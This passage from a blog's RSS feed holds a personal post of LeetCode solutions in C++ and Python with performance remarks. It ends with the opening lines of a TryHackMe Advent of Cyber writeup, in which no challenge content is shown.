</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// iterate them by 2 nodes in turn,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// then link the last element of odd to 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// the first element of even
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (evenPointer <span style="color:#f92672">!=</span> NULL <span style="color:#f92672">&amp;&amp;</span> evenPointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">!=</span> NULL) {
</span></span><span style="display:flex;"><span>            movePointer2Nodes(oddPointer);
</span></span><span style="display:flex;"><span>            movePointer2Nodes(evenPointer);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        oddPointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">=</span> firstEvenElement;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> head;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>However, this one got <code>Runtime Error</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">/**
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Definition for singly-linked list.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * struct ListNode {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     int val;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode *next;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode() : val(0), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x) : val(x), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x, ListNode *next) : val(x), next(next) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * };
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> movePointer2Nodes(ListNode<span style="color:#f92672">*&amp;</span> pointer) {
</span></span><span style="display:flex;"><span>        pointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">=</span> pointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        pointer <span style="color:#f92672">=</span> pointer <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    ListNode<span style="color:#f92672">*</span> <span style="color:#a6e22e">oddEvenList</span>(ListNode<span style="color:#f92672">*</span> head) {
</span></span><span style="display:flex;"><span>        ListNode <span style="color:#f92672">*</span>oddPointer <span style="color:#f92672">=</span> head, <span style="color:#f92672">*</span>evenPointer <span style="color:#f92672">=</span> head <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        ListNode <span style="color:#f92672">*</span>firstEvenElement <span style="color:#f92672">=</span> evenPointer;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Intuition: Use 2 pointers,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// iterate them by 2 nodes in turn,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// then link the last element of odd to 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// the first element of even
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (evenPointer <span style="color:#f92672">!=</span> NULL <span style="color:#f92672">&amp;&amp;</span> evenPointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">!=</span> NULL) {
</span></span><span style="display:flex;"><span>            movePointer2Nodes(oddPointer);
</span></span><span style="display:flex;"><span>            movePointer2Nodes(evenPointer);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        oddPointer <span style="color:#f92672">-&gt;</span> next <span style="color:#f92672">=</span> firstEvenElement;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> head;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>without comparing it with the above accepted code, can you figure out where&rsquo;s the flaw? :D</p>
<h2 id="december-7th-1290-convert-binary-number-in-a-linked-list-to-interger">December 7th: <a href="https://leetcode.com/problems/convert-binary-number-in-a-linked-list-to-integer/">1290. Convert Binary Number in a Linked List to Interger</a></h2>
<p>
  <img src="/img/myleetcodejourney/1290_problem.png#center" alt="">

</p>
<p>Nothing much to discuss here. Let&rsquo;s do some elementary math.</p>
<p>At first I thought bitwise operators must be faster than doing normal operations, so I tried this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">/**
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Definition for singly-linked list.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * struct ListNode {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     int val;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode *next;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode() : val(0), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x) : val(x), next(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     ListNode(int x, ListNode *next) : val(x), next(next) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * };
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> getDecimalValue(ListNode<span style="color:#f92672">*</span> head) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> decimal <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        ListNode<span style="color:#f92672">*</span> node <span style="color:#f92672">=</span> head;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (node <span style="color:#f92672">!=</span> NULL) {
</span></span><span style="display:flex;"><span>            decimal <span style="color:#f92672">=</span> (decimal <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">|</span> node <span style="color:#f92672">-&gt;</span> val;
</span></span><span style="display:flex;"><span>            node <span style="color:#f92672">=</span> node <span style="color:#f92672">-&gt;</span> next;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> decimal;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>And it ran at 7ms. Not that bad. However, when I change this line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>decimal <span style="color:#f92672">=</span> (decimal <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">|</span> node <span style="color:#f92672">-&gt;</span> val;
</span></span></code></pre></div><p>Which are bitwise operators, to normal operators:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>decimal <span style="color:#f92672">=</span> decimal <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> node <span style="color:#f92672">-&gt;</span> val;
</span></span></code></pre></div><p>It ran at 4ms - slightly faster. Why?</p>
<p>By the way, here&rsquo;s the Python implementation (faster than 97.4%, and please don&rsquo;t care about space complexity lol):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Definition for singly-linked list.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># class ListNode:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#     def __init__(self, val=0, next=None):</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.val = val</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.next = next</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">getDecimalValue</span>(self, head: ListNode) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        digits: List[str] <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>        node <span style="color:#f92672">=</span> head
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> node <span style="color:#f92672">!=</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>            digits<span style="color:#f92672">.</span>append(str(node<span style="color:#f92672">.</span>val))
</span></span><span style="display:flex;"><span>            node <span style="color:#f92672">=</span> node<span style="color:#f92672">.</span>next
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> int(<span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">.</span>join(digits), <span style="color:#ae81ff">2</span>)
</span></span></code></pre></div><h2 id="december-8th-563-binary-tree-tilt">December 8th: <a href="https://leetcode.com/problems/binary-tree-tilt/">563. Binary Tree Tilt</a></h2>
<p>
  <img src="/img/myleetcodejourney/563_problem.png#center" alt="">

</p>
<p>Just basic recursive function. To find the <code>tilt</code> of a node, we first need to find its children <code>sum</code>. The same is also true for higher nodes, hence this C++ implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">/**
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Definition for a binary tree node.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * struct TreeNode {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     int val;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     TreeNode *left;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     TreeNode *right;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     TreeNode() : val(0), left(nullptr), right(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> *     TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * };
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> nodeSum(TreeNode<span style="color:#f92672">*</span> node, <span style="color:#66d9ef">int</span><span style="color:#f92672">&amp;</span> total) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (node <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> leftSum <span style="color:#f92672">=</span> nodeSum(node <span style="color:#f92672">-&gt;</span> left, total);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> rightSum <span style="color:#f92672">=</span> nodeSum(node <span style="color:#f92672">-&gt;</span> right, total);
</span></span><span style="display:flex;"><span>        total <span style="color:#f92672">+=</span> abs(leftSum <span style="color:#f92672">-</span> rightSum);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> leftSum <span style="color:#f92672">+</span> rightSum <span style="color:#f92672">+</span> node <span style="color:#f92672">-&gt;</span> val;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">findTilt</span>(TreeNode<span style="color:#f92672">*</span> root) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> answer <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        nodeSum(root, answer);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> answer;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Faster than 95.64% by the way :D. And here&rsquo;s Python version of that exact algorithm:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Definition for a binary tree node.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># class TreeNode:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#     def __init__(self, val=0, left=None, right=None):</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.val = val</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.left = left</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#         self.right = right</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">findTilt</span>(self, root: Optional[TreeNode]) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        answer: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">nodeSum</span>(node: TreeNode):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">nonlocal</span> answer
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> node <span style="color:#f92672">==</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            leftSum: int <span style="color:#f92672">=</span> nodeSum(node<span style="color:#f92672">.</span>left)
</span></span><span style="display:flex;"><span>            rightSum: int <span style="color:#f92672">=</span> nodeSum(node<span style="color:#f92672">.</span>right)
</span></span><span style="display:flex;"><span>            tilt <span style="color:#f92672">=</span> abs(leftSum <span style="color:#f92672">-</span> rightSum)
</span></span><span style="display:flex;"><span>            answer <span style="color:#f92672">+=</span> tilt
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> node<span style="color:#f92672">.</span>val <span style="color:#f92672">+</span> leftSum <span style="color:#f92672">+</span> rightSum
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        nodeSum(root)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> answer
</span></span></code></pre></div><h2 id="december-9th-1306-jump-game-iii">December 9th: <a href="https://leetcode.com/problems/jump-game-iii/">1306. Jump Game III</a></h2>
<p>
  <img src="/img/myleetcodejourney/1306_problem.png#center" alt="">

</p>
<p>What came to your mind first? Recursive check function, right?</p>
<p>I&rsquo;ve to admit, it&rsquo;s quite slow and memory-ineffective. But hey, it&rsquo;s simple to understand, and relatively short to implement. :D</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> canReach(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> arr, <span style="color:#66d9ef">int</span> start) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (start <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">||</span> start <span style="color:#f92672">&gt;</span> arr.size() <span style="color:#f92672">||</span> arr[start] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> false;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (arr[start] <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        arr[start] <span style="color:#f92672">*=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>; <span style="color:#75715e">// mark iterated indexes
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">canReach</span>(arr, start <span style="color:#f92672">+</span> arr[start]) <span style="color:#f92672">||</span> canReach(arr, start <span style="color:#f92672">-</span> arr[start]);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Here&rsquo;s Python-translated version:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">canReach</span>(self, arr: List[int], start: int) <span style="color:#f92672">-&gt;</span> bool:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Depth first search</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> start <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">or</span> start <span style="color:#f92672">&gt;=</span> len(arr) <span style="color:#f92672">or</span> arr[start] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> arr[start] <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        arr[start] <span style="color:#f92672">*=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> self<span style="color:#f92672">.</span>canReach(arr, start <span style="color:#f92672">+</span> arr[start]) <span style="color:#f92672">or</span> self<span style="color:#f92672">.</span>canReach(arr, start <span style="color:#f92672">-</span> arr[start])
</span></span></code></pre></div><h2 id="december-13th-1446-consecutive-characters">December 13th: <a href="https://leetcode.com/problems/consecutive-characters/">1446. Consecutive Characters</a></h2>
<p>
  <img src="/img/myleetcodejourney/1446_problem.png#center" alt="">

</p>
<p>Nothing much here - just count it! :v</p>
<p>Here&rsquo;s 93.39% faster than others Python implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">maxPower</span>(self, s: str) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> len(s) <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> len(s)
</span></span><span style="display:flex;"><span>        maxPower <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        power <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        currentChar: chr <span style="color:#f92672">=</span> s[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> s:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> char <span style="color:#f92672">==</span> currentChar:
</span></span><span style="display:flex;"><span>                power <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>                maxPower <span style="color:#f92672">=</span> max(power, maxPower)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>: 
</span></span><span style="display:flex;"><span>                currentChar <span style="color:#f92672">=</span> char
</span></span><span style="display:flex;"><span>                power <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> maxPower
</span></span></code></pre></div><p>And 100% faster, 0ms execution time C++ implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> maxPower(string s) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (s.size() <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> s.size();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">char</span> currentChar <span style="color:#f92672">=</span> s[<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> power <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, maxPower <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">char</span> c:s) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (c <span style="color:#f92672">==</span> currentChar)
</span></span><span style="display:flex;"><span>                maxPower <span style="color:#f92672">=</span> max(maxPower, <span style="color:#f92672">++</span>power);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                currentChar <span style="color:#f92672">=</span> c;
</span></span><span style="display:flex;"><span>                power <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> maxPower;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><h2 id="december-14th-938-range-sum-of-bst">December 14th: <a href="https://leetcode.com/problems/range-sum-of-bst/">938. Range Sum of BST</a></h2>
<p>
  <img src="/img/myleetcodejourney/938_problem.png#center" alt="">

</p>
<p>Another nothing-much-to-say problem. Let&rsquo;s just traverse the tree and do exactly as the problem required.</p>
<p>Here&rsquo;s the Python implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rangeSumBST</span>(self, root: Optional[TreeNode], low: int, high: int) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> root <span style="color:#f92672">==</span> <span style="color:#66d9ef">None</span>: <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> low <span style="color:#f92672">&lt;=</span> root<span style="color:#f92672">.</span>val <span style="color:#f92672">and</span> root<span style="color:#f92672">.</span>val <span style="color:#f92672">&lt;=</span> high:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> root<span style="color:#f92672">.</span>val <span style="color:#f92672">+</span> self<span style="color:#f92672">.</span>rangeSumBST(root<span style="color:#f92672">.</span>left, low, high) <span style="color:#f92672">+</span> self<span style="color:#f92672">.</span>rangeSumBST(root<span style="color:#f92672">.</span>right, low, high)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> self<span style="color:#f92672">.</span>rangeSumBST(root<span style="color:#f92672">.</span>left, low, high) <span style="color:#f92672">+</span> self<span style="color:#f92672">.</span>rangeSumBST(root<span style="color:#f92672">.</span>right, low, high)
</span></span></code></pre></div><p>And the C++ implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> rangeSumBST(TreeNode<span style="color:#f92672">*</span> root, <span style="color:#66d9ef">int</span> low, <span style="color:#66d9ef">int</span> high) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (root <span style="color:#f92672">==</span> NULL) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (low <span style="color:#f92672">&lt;=</span> root <span style="color:#f92672">-&gt;</span> val <span style="color:#f92672">&amp;&amp;</span> root <span style="color:#f92672">-&gt;</span> val <span style="color:#f92672">&lt;=</span> high)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> root <span style="color:#f92672">-&gt;</span> val <span style="color:#f92672">+</span> rangeSumBST(root <span style="color:#f92672">-&gt;</span> left, low, high) <span style="color:#f92672">+</span> rangeSumBST(root <span style="color:#f92672">-&gt;</span> right, low, high);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">rangeSumBST</span>(root <span style="color:#f92672">-&gt;</span> left, low, high) <span style="color:#f92672">+</span> rangeSumBST(root <span style="color:#f92672">-&gt;</span> right, low, high);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Try to guess the performance of them both? :D</p>
<p>To my surprise, here&rsquo;s a comparison of that exact algorithm in 2 languages:

  <img src="/img/myleetcodejourney/938_performance.png#center" alt="">

</p>
<p>See the difference? C++ ran twice as fast, with 3 times as much memory usage. An unexpected trade-off. Guess the Python&rsquo;s garbage collector&rsquo;s shown off its mightiness after all. :D</p>
]]></content:encoded>
    </item>
    <item>
      <title>Try Hack Me - Advent Of Cyber 3 writeup (Part 1)</title>
      <link>https://www.akihakune.com/blog/adventofcyber3/</link>
      <pubDate>Thu, 02 Dec 2021 07:36:50 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/adventofcyber3/</guid>
      <description>Writeup for 2021 Try Hack Me&amp;rsquo;s Advent of Cyber 3 (part 1)</description>
      <content:encoded><![CDATA[<ul>
<li><a href="/blog/adventofcyber3/">Part 1 of 2021 Advent of Cyber</a></li>
<li><a href="/blog/adventofcyber3-2/">Part 2 of 2021 Advent of Cyber</a></li>
</ul>
<hr>
<p>Before reading this article, I strongly suggest you take your time and <a href="https://tryhackme.com/room/adventofcyber3">try the challenges out yourself</a>, it will definitely worth your time!</p>
<p>Since Try Hack Me has done an awesome job in explaining things plain and simple, I won&rsquo;t repeat again their tutorial. Instead, I&rsquo;ll try to summarize it in the most concise (but understandable) way I can.</p>
